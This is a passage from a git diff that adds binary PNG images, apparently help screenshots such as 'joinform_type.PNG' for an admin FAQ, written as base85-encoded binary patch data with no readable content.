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 P@K07s>E^o|_y78D_O`_f literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/joinform_type.PNG b/admin/help/img/faq/joinform_type.PNG new file mode 100644 index 0000000000000000000000000000000000000000..5b850f0eb8f916cf9cc2a5f5052b22872158f179 GIT binary patch literal 10107 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 